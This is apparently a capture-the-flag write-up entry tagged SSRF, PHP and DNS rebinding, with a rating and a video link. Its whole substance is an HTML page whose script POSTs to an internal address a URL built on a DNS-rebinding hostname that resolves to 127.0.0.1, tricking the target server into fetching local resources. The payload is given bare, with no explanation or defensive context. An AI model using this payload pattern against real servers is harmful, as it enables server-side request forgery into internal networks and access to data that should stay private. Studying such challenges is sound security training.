Tags: ssrf web php dnsrebind 

Rating: 5.0

Video:

https://www.youtube.com/watch?v=5roYXcKLu7U

```
<html>
<body>
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://10.0.0.1/?register', true);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.onload = function(){
console.log(this.responseText);
};
xhr.send('url=http://7f000001.b9c90bd5.rbndr.us#hassssss.txt&hash=hasssh');
</script>
</body>
</html>
```